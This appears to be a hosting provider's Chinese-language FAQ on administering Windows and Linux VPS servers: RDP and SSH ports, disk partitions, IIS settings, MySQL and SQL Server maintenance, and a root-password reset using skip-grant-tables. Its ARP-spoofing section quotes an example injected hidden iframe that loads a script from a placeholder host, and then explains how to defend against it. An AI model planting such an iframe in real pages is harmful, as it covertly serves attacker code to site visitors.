VSP遠程設(shè)置,如何設(shè)置VPS服務(wù)器?(來自宇塵網(wǎng)絡(luò)提供希望可以和大家探討)
一、網(wǎng)站打不開或無法連接遠程
1) 請先確認網(wǎng)絡(luò)是否正常,可以用ping命令檢查ip的連通性.如ping 118.126.3.1
2) 是否開啟了Windows防火墻,而沒例外Web(80端口)或遠程(3389端口),
防火墻設(shè)置參考: http://gooder8.com/html/y2010/686.html
3) 是否誤操作關(guān)閉了VPS? 請登陸Web管理平臺開機。(共享IP的無Web管理)
HV主機Web后臺:形如http://www.***/vpsadm
VPS主機Web后臺:形如https://118.126.3.180:4643(此處為舉例,實際操作將IP換成您的)
4) 是否誤操作禁用了網(wǎng)卡?請啟用網(wǎng)卡!
-----------簡單的分割線-----------
二、遠程超出最大連接數(shù)
方法1) 使用代碼解決方法,開始->運行,輸入: mstsc /console /v:ip:端口 即可連接。
例如, mstsc /console /v:118.126.3.180:3389
(默認端口是3389,沒有修改過可以不加,如果是修改過端口或共享IP的指定端口,一定要加端口)
方法2) 登錄網(wǎng)頁后臺重啟VPS
三、C盤空間怎么越來與越小
使用VPS時間長的客戶有時候可能會發(fā)現(xiàn)C盤除了系統(tǒng)又沒安裝過其他軟件,而C盤卻越來越小了,而又找不到具體是被哪些文件占用的問題。此類問題一般是由于網(wǎng)站訪問日志沒有及時清理造成的。在默認的情況下網(wǎng)站訪問日志是放在C:\WINDOWS\system32\LogFiles這個路徑下的,建議修改存在路徑這樣可以有一定的安全作用并且不占用C盤空間,具體辦法如下:
登陸到服務(wù)器后在E盤新建LogFiles文件夾,打開iis在網(wǎng)站上右鍵屬性如下圖:
點擊屬性(P)
可以看到默認路徑是C:\WINDOWS\system32\LogFiles,下面我們就把路徑改到之前E盤LogFiles文件夾下,點擊瀏覽(B)
選擇之前建立好的文件夾后確定即可生效,日后如果需要分析iis日志知道到E盤LogFiles文件夾下查看。
四、購買的VPS硬盤是15G或者25G為什么看到的只有9.9G?
新開的VPS都是只有一個系統(tǒng)盤,其他的空間沒有分區(qū),打開我的電腦如下圖:
下面來分下其他的空間,右鍵"我的電腦"--"管理"--"磁盤管理",如下圖:
"缺少"的硬盤空間都在這里,因為沒有分區(qū)所以我們看到的只是C盤9個多G的空間,鼠標(biāo)右鍵"未指派"空間:
依次點擊"新建磁盤分區(qū)"-"下一步"--"下一步",看到下圖:
在這里選擇"擴展磁盤分區(qū)",一直點"下一步",直到完成。然后在可用空間上右鍵"新建邏輯驅(qū)動器":
彈出"新建磁盤分區(qū)向?qū)?,點擊"下一步"兩次,來到下圖:
在分區(qū)大小里邊輸入D盤的大小,然后點擊"下一步"兩次,來到下圖:
勾選"執(zhí)行快速格式化"選項,點擊"下一步"--"完成"。然后用相同的方法在可用空間上創(chuàng)建E盤F盤等。
五、如何修改修改遠程3389端口?
為了windows VPS遠程登陸更加安全,我們可以將windows 2003默認的遠程連接端口3389修改為其他的端口,下面就詳細說明一下具體方法:
首先,登陸服務(wù)器選擇系統(tǒng)桌面中的"開始"、"運行"命令,從彈出的系統(tǒng)運行框中,輸入字符串命令"regedit",單擊"確定"按鈕后,打開本地工作站的系統(tǒng)注冊表編輯界面;展開HKEY_LOCAL_MACHINE注冊表分支,從其后彈出的分支列表中依次選中SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp子鍵
在tcp子鍵所對應(yīng)的右側(cè)顯示區(qū)域中,我們會看到一個名為PortNumber的子鍵,這個子鍵其實就是用來定義遠程桌面端口號碼的,將該子鍵的數(shù)值設(shè)置成其他端口號碼,例如可以將其數(shù)值設(shè)置成"9999"(注意:在這里填寫的端口一定要確定系統(tǒng)或者其他應(yīng)用程序沒有占用,查看端口可用netstat -an命令來查看)
完成數(shù)值修改操作后,我們再將鼠標(biāo)定位于注冊表分支HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp,在RDP-Tcp子鍵所對應(yīng)的右側(cè)顯示區(qū)域中,我們同樣會看到一個名為PortNumber的子鍵,把該子鍵的數(shù)值也要一并修改過來,例如這里我們也要將它的數(shù)值修改成"9999"
完成這兩步操作后,我們就可以使用遠程桌面通過ip地址加端口號的方式連接。
注意:如果您更改了遠程登陸的端口請記得在系統(tǒng)或者您自己安裝的防火墻上打開這個例外端口.
六、sqlserver2000的15457錯誤
檢查服務(wù)器的CPU和內(nèi)存負載都不高,但是在mssql的日志中查看到以下的錯誤:
出現(xiàn)15457錯誤。
查詢相關(guān)資料,得知此問題為用戶的mssql身份驗證方式錯誤導(dǎo)致。
查看用戶身份驗證方式如下:
點擊后查看用戶的屬性如下:
這樣會導(dǎo)致mssql隨windows身份驗證,出現(xiàn)不穩(wěn)定的情況,我們建議用戶使用mssql自帶的SQL Server身份驗證:
在登陸名密碼中進行相應(yīng)設(shè)置后點擊確定,此問題即處理完畢。數(shù)據(jù)庫就沒有不穩(wěn)定的情況了。
分析原因:此問題的出現(xiàn)是由于windows身份驗證,是用戶在連接數(shù)據(jù)庫時,用戶請求的用戶名和密碼先和windows系統(tǒng)用戶進行驗證,如果驗證失敗,數(shù)據(jù)庫也無法連接,甚至出現(xiàn)數(shù)據(jù)庫不工作現(xiàn)象,這是由于一般用戶設(shè)置數(shù)據(jù)用戶名為sa,而windows用戶中沒有sa用戶,所以大意的網(wǎng)管員會經(jīng)常犯此類錯誤。所以保險的方法就是這是為使用sql server身份驗證方式。
七、遠程桌面超出最大允許連接數(shù)
我們在使用遠程桌面遠程登陸服務(wù)器時,由于之前登陸未正確退出,經(jīng)常會遇到再次遠程桌面連接服務(wù)器時提示"超出最大允許連接數(shù)"導(dǎo)致無法登陸的問題,那么以下方法可以使用遠程桌面成功的登陸服務(wù)器。
依次點擊:開始--運行--輸入:mstsc /consle /v:您的IP:遠程端口,如:mstsc /console /v:111.111.111.111:3389,然后按回車鍵既可。
八、導(dǎo)入MySQL數(shù)據(jù)庫
1. 概述
MySQL數(shù)據(jù)庫的導(dǎo)入,有兩種方法:
1) 先導(dǎo)出數(shù)據(jù)庫SQL腳本,再導(dǎo)入;
2) 直接拷貝數(shù)據(jù)庫目錄和文件。
在不同操作系統(tǒng)或MySQL版本情況下,直接拷貝文件的方法可能會有不兼容的情況發(fā)生。所以一般推薦用SQL腳本形式導(dǎo)入。下面分別介紹兩種方法。
2. 方法一 SQL腳本形式
操作步驟如下:
2.1. 導(dǎo)出SQL腳本
在原數(shù)據(jù)庫服務(wù)器上,可以用phpMyAdmin工具,或者mysqldump命令行,導(dǎo)出SQL腳本。
2.1.1 用phpMyAdmin工具
導(dǎo)出選項中,選擇導(dǎo)出"結(jié)構(gòu)"和"數(shù)據(jù)",不要添加"DROP DATABASE"和"DROP TABLE"選項。
選中"另存為文件"選項,如果數(shù)據(jù)比較多,可以選中"gzipped"選項。
將導(dǎo)出的SQL文件保存下來。
2.1.2 用mysqldump命令行
命令格式
mysqldump -u用戶名 -p 數(shù)據(jù)庫名 > 數(shù)據(jù)庫名.sql
范例:
mysqldump -uroot -p abc > abc.sql
(導(dǎo)出數(shù)據(jù)庫abc到abc.sql文件)
提示輸入密碼時,輸入該數(shù)據(jù)庫用戶名的密碼。
2.2. 創(chuàng)建空的數(shù)據(jù)庫
通過主控界面/控制面板,創(chuàng)建一個數(shù)據(jù)庫。假設(shè)數(shù)據(jù)庫名為abc,數(shù)據(jù)庫全權(quán)用戶為abc_f。
2.3. 將SQL腳本導(dǎo)入執(zhí)行
同樣是兩種方法,一種用phpMyAdmin(mysql數(shù)據(jù)庫管理)工具,或者mysql命令行。
2.3.1 用phpMyAdmin工具
從控制面板,選擇創(chuàng)建的空數(shù)據(jù)庫,點"管理",進入管理工具頁面。
在"SQL"菜單中,瀏覽選擇剛才導(dǎo)出的SQL文件,點擊"執(zhí)行"以上載并執(zhí)行。
注意:phpMyAdmin對上載的文件大小有限制,php本身對上載文件大小也有限制,如果原始sql文件
比較大,可以先用gzip對它進行壓縮,對于sql文件這樣的文本文件,可獲得1:5或更高的壓縮率。
gzip使用方法:
# gzip xxxxx.sql
得到
xxxxx.sql.gz文件。
提示輸入密碼時,輸入該數(shù)據(jù)庫用戶名的密碼。
3 直接拷貝
如果數(shù)據(jù)庫比較大,可以考慮用直接拷貝的方法,但不同版本和操作系統(tǒng)之間可能不兼容,要慎用。
3.1 準備原始文件
用tar打包為一個文件
3.2 創(chuàng)建空數(shù)據(jù)庫
3.3 解壓
在臨時目錄中解壓,如:
cd /tmp
tar zxf mydb.tar.gz
3.4 拷貝
將解壓后的數(shù)據(jù)庫文件拷貝到相關(guān)目錄
cd mydb/
cp * /var/lib/mysql/mydb/
3.5 權(quán)限設(shè)置
將拷貝過去的文件的屬主改為mysql:mysql,權(quán)限改為660
chown mysql:mysql /var/lib/mysql/mydb/*
chmod 660 /var/lib/mysql/mydb/*
九、配置iis時出現(xiàn)的Windows報告內(nèi)存不足
IIS上的站點可以綁定在不同的端口,例如80,81,82,83等不同端口
當(dāng)創(chuàng)建了5個占用不同端口的站點后,再創(chuàng)建第六個端口時候
IIS會報告"無更多可用內(nèi)存"
解決方案
這是微軟IIS的設(shè)計造成的
要想添加第六個不同端口的站點,需要修改注冊表:
1、打開注冊表編輯器,開始-運行-輸入"regedit"
2、展開HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters\
3、在其下創(chuàng)建一個DWORD值類型的鍵值,命名為MaxEndpoints,值為十六進制的0
4、重新啟動IIS,開始-運行-cmd,輸入"net stop http",然后"net start http"
十、linux系統(tǒng)mysql字符集設(shè)置
在Linux系統(tǒng)中,您可以根據(jù)需要來設(shè)置mysql數(shù)據(jù)庫的默認字符集,操作方法如下:
1、使用root權(quán)限登錄您的服務(wù)器。
2、找到并編輯文件my.cnf, 它位于/etc/目錄下面
vi /etc/my.cnf
3、找到客戶端配置[client] 在下面添加
default_character_set=utf8 (默認字符集為utf8 )
4、找到[mysqld] 在下面添加
default_character_set=utf8
5、保存設(shè)置并退出,重啟mysql服務(wù)。
十一、Linux系統(tǒng)VPS綁定IP和MAC地址
一、ARP欺騙病毒,主要表現(xiàn)為:
中病毒的機器不僅影響自身,同時也會影響同網(wǎng)段的其它機器,將其它機器的HTTP數(shù)據(jù)包里加入病毒代碼。
代碼例子如:
<html><iframe src=http://xxx.***.com/lsj.js width=0 height=0></iframe>
這種病毒危害非常大!即使你機器的安全性做得很好,可是沒辦法保證同網(wǎng)段的其它機器安全沒有問題!
解決辦法:在網(wǎng)關(guān)和本機上雙向綁定IP和MAC地址,以防止ARP欺騙。
二、綁定
1、網(wǎng)關(guān)上已經(jīng)對下面所帶的機器作了綁定。網(wǎng)關(guān)IP:192.168.0.1 MAC:00:02:03:18:08:00
2、要進行綁定的Unix主機IP:192.168.0.2 MAC:00:04:61:9D:8B:02
三、綁定步驟
1、先使用arp和arp -a查看一下當(dāng)前ARP緩存列表
[root@ftp]# arp
Address HWtype HWaddress Flags Mask Iface
192.168.0.145 ether 00:13:20:E9:11:04 C eth0
192.168.0.1 ether 00:02:03:18:08:00 C eth0
說明:
Address:主機的IP地址
Hwtype:主機的硬件類型
Hwaddress:主機的硬件地址
Flags Mask:記錄標(biāo)志,"C"表示arp高速緩存中的條目,"M"表示靜態(tài)的arp條目。
[root@ftp]# arp -a
(192.168.0.145) at 00:13:20:E9:11:04 [ether] on eth0
(192.168.0.1) at 00:02:03:18:08:00 [ether] on eth0
2、新建一個靜態(tài)的mac->ip對應(yīng)表文件:ip-mac,將要綁定的IP和MAC地下寫入此文件,格式為 ip mac
[root@ftp]# echo '192.168.0.1 00:02:03:18:08:00 ' > /etc/ip-mac
[root@ftp]# more /etc/ip-mac
192.168.0.1 00:02:03:18:08:00
3、設(shè)置開機自動綁定
[root@ftp]# echo 'arp -f /etc/ip-mac ' >> /etc/rc.d/rc.local
4、手動執(zhí)行一下綁定
[root@ftp]# arp -f /etc/ip-mac
5、確認綁定是否成功
[root@ftp]# arp
Address HWtype HWaddress Flags Mask Iface
192.168.0.145 ether 00:13:20:E9:11:04 C eth0
192.168.0.1 ether 00:02:03:18:08:00 CM eth0
[root@ftp]# arp -a
(192.168.0.145) at 00:02:B3:A7:85:48 [ether] on eth0
(192.168.0.1) at 00:02:03:18:08:00 [ether] PERM on eth0
從綁定前后的ARP緩存列表中,可以看到網(wǎng)關(guān)(192.168.0.1)的記錄標(biāo)志已經(jīng)改變,說明綁定成功。
十二、windows服務(wù)器耗資源問題分析及處理意見
1、調(diào)用Access程序問題(最常見)
原因:access數(shù)據(jù)庫大小超過30M,頻繁調(diào)用時耗用系統(tǒng)資源。
解決方法:將數(shù)據(jù)庫大小壓縮到30M以內(nèi),或者升級到SQLSERVER數(shù)據(jù)庫。sqlserver是基于客戶/服務(wù)器結(jié)構(gòu),這意味著服務(wù)器不用再執(zhí)行客戶端的任務(wù),而access并不是基于客戶/服務(wù)器結(jié)構(gòu),除了處理數(shù)據(jù)庫任務(wù)外,其還必須在各個客戶端活動間劃分處理器時間,因此也會造成系統(tǒng)負載非常大,嚴重時還會導(dǎo)致ASP進程死鎖,影響所有用戶訪問ASP頁面。
2、Asp,Perl,cgi,SqlServer程序問題
原因:程序BUG導(dǎo)致
解決方法:
(1)注意優(yōu)化程序,在處理循環(huán)、跳轉(zhuǎn)等語句時尤其小心,注意釋放資源。
(2)優(yōu)化數(shù)據(jù)庫,避免使用全部查詢(select * 之類)。
(3)對于網(wǎng)上的免費程序,不能拿來就用,需要測試其性能及安全問題,尤其是計算器、論壇程序。
十三、VPS服務(wù)器可以自行禁用網(wǎng)卡么?
VPS服務(wù)器的網(wǎng)卡信息不可隨意修改,更不可自行禁用網(wǎng)卡,也不可自行的修改IP地址等,進行任何一種修改將會出現(xiàn)網(wǎng)絡(luò)中斷的情況發(fā)生。
十四、怎樣從MDF文件恢復(fù)Sql Server2000數(shù)據(jù)庫?
1.新建同名數(shù)據(jù)庫。
2.刪除其日志文件renwen_Data.LDF,不刪除后邊的過程執(zhí)行通不過。
3.把renwen數(shù)據(jù)設(shè)置為脫機。
4.在查詢分析器中以超級用戶登入,執(zhí)行以下存儲過程,必須以超級用戶登入,這是系統(tǒng)級存儲過程。
EXEC sp_detach_db @dbname = 'renwen'
EXEC sp_attach_single_file_db @dbname = 'renwen', @physname = 'E:\WebDemo\renwen_Data.MDF'
5.把test數(shù)據(jù)設(shè)置為聯(lián)機。
6.刷新數(shù)據(jù)庫,表出來了,數(shù)據(jù)完好。
十五、VPS里邊的Administrator這個用戶可以刪除嗎?
在VPS服務(wù)器上,您可以對默認的Administrator用戶進行改名、禁用操作,但是不能刪除這個默認用戶。
遠程桌面登陸到服務(wù)器,右鍵我的電腦--管理--本地用戶和組--用戶,右鍵單擊Administrator即可對其進行修改或者禁用。
十六、windows服務(wù)器無組件上傳200K限制處理?
很多VPS用戶使用的操作系統(tǒng)為 windows server 2003,其內(nèi)置的iis6對無組件上傳存在200K的大小限制,如果您需要上傳更大的文件,可以按照如下方法修改:
進入目錄并用記事本打開此文件:C:\WINDOWS\system32\inetsrv\MetaBase.xml
找到此字段:AspMaxRequestEntityAllowed
此字段默認值設(shè)置為"204800",可以將此值修改為需要的數(shù)值。
請注意,如果修改時提示失敗,請先在"管理"->"服務(wù)"中將"iis admin service服務(wù)"關(guān)閉后再修改即可。
十七、linux修改SSH遠程連接端口?
將SSH終端服務(wù)的端口由22修改為別的端口以防攻擊黑客直接猜解您的服務(wù)器密碼
首先修改配置文件
vi /etc/ssh/sshd_config
找到#Port 22一段,這里是標(biāo)識默認使用22端口,修改為如下:
Port 22
Port 50000
然后保存退出
執(zhí)行/etc/init.d/sshd restart
這樣SSH端口將同時工作與22和50000上。
現(xiàn)在編輯防火墻配置:vi /etc/sysconfig/iptables
啟用50000端口。
執(zhí)行/etc/init.d/iptables restart
現(xiàn)在請使用ssh工具連接50000端口,來測試是否成功。
如果連接成功了,則再次編輯sshd_config的設(shè)置,將里邊的Port22刪除,即可。
之所以先設(shè)置成兩個端口,測試成功后再關(guān)閉一個端口,是為了方式在修改conf的過程中,萬一出現(xiàn)掉線、斷網(wǎng)、誤操作等未知情況時候,還能通過另外一個端口連接上去調(diào)試,以免發(fā)生連接不上帶來更多的麻煩。
十八、如何查看vps的系統(tǒng)日志(windows 2003)?
服務(wù)器系統(tǒng)日志是記載著服務(wù)器每時每刻的信息的一個數(shù)據(jù)庫,上面記載著的一些信息對于我們了解服務(wù)器的運行狀況都有很大的幫助,下邊介紹下查看VPS服務(wù)器windows 2003系統(tǒng)查看日志的方法。
查看方法:遠程登陸服務(wù)器后,右鍵我的電腦--管理--事件查看器
日志按照內(nèi)容被分為三類,雙擊每條日志即可查看詳情。
應(yīng)用程序:主要是記載服務(wù)器上面軟件程序運行方面的一些事件。
安全性:主要是記載服務(wù)器用戶登錄的情況。
系統(tǒng):主要是記載服務(wù)器系統(tǒng)程序運行狀況。
下面分別舉例介紹:
應(yīng)用程序日志
這個事例記錄的是用戶數(shù)據(jù)庫服務(wù)登陸失敗的信息。
安全性日志
這是記載用戶通過遠程登陸服務(wù)器的日志,包括用戶名以及登陸服務(wù)器時客戶端的ip地址,當(dāng)您懷疑服務(wù)器被人登陸時在這里可以查實。
系統(tǒng)日志
這個日志記載了iis運行過程中的一個事件,當(dāng)您的網(wǎng)站無法訪問時在這里可以了解iis的工作狀態(tài)。
以上只是各舉了一個例子,更多的內(nèi)容需要您在實際使用中總結(jié)。
十九、SQLServer2000實現(xiàn)數(shù)據(jù)庫自動備份?
1.首先,通過遠程桌面登陸VPS,先開啟"SQLSERVERAGENT"服務(wù),點擊開始-程序-管理工具-服務(wù),并在"服務(wù)"中開啟,并將服務(wù)器啟動類型設(shè)置為"自動"。
然后打開SQL2000企業(yè)管理器,點擊開始-程序-Microsoft SQL Server-企業(yè)管理器,并右鍵點擊"數(shù)據(jù)庫維護計劃",開始"新建維護計劃"。
勾選您需要維護的數(shù)據(jù)庫(下面以renwen舉例說明)
之后始終按照默認選項到"指定數(shù)據(jù)庫備份計劃"框,如果您需要對備份時間進行調(diào)整可以點擊對話框中的"更改"來調(diào)整變更時間。
再下一步中建議您勾選"刪除早于此時間的文件",在以下對話框中您可以將"要存儲備份文件的目錄"勾選"使用此目錄"修改到E盤中。
之后始終按照默認選項到"維護計劃創(chuàng)建成功"。
確定后即可在企業(yè)管理器中查看到新建立的維護計劃。
如果您今后需要對該技術(shù)任務(wù)進行調(diào)整,您可以在"數(shù)據(jù)庫維護計劃1"上點擊鼠標(biāo)右鍵,對相關(guān)設(shè)置參數(shù)進行變更。
到這里SQLServer2000數(shù)據(jù)庫自動備份功能完成。
二十、MYSQL數(shù)據(jù)庫root密碼忘記?
如果忘記了 MySQL 的 root 密碼,可以用以下方法重新設(shè)置:
Windows 系統(tǒng):
1.以系統(tǒng)管理員身份登陸系統(tǒng)。
2.打開cmd--net start 查看mysql是否啟動。啟動的話就停止net stop mysql.
3.在cmd下切換到Mysql安裝目錄下的bin目錄。
4.跳過權(quán)限檢查啟動mysql,然后在Mysql安裝目錄下的bin目錄中執(zhí)行\(zhòng)mysqld-nt -skip-grant-tables
5.重新打開cmd。進到Mysql安裝目錄下的bin目錄下:
執(zhí)行mysqladmin -uroot flush-privileges password "newpassword"
mysqladmin -u root -p shutdown 這句提示你重新輸密碼。
6.在cmd里net start mysql
Linux系統(tǒng):
1. KILL掉系統(tǒng)里的MySQL進程;
2. 用以下命令啟動MySQL,以不檢查權(quán)限的方式啟動;
mysqld_safe -skip-grant-tables &
3. 然后用空密碼方式使用root用戶登錄 MySQL;
mysql -u root
4. 修改root用戶的密碼;
mysql> update mysql.user set password=PASSWORD('新密碼') where User='root';
mysql> flush privileges;
mysql> quit
5. 重新啟動MySQL,就可以使用新密碼登錄了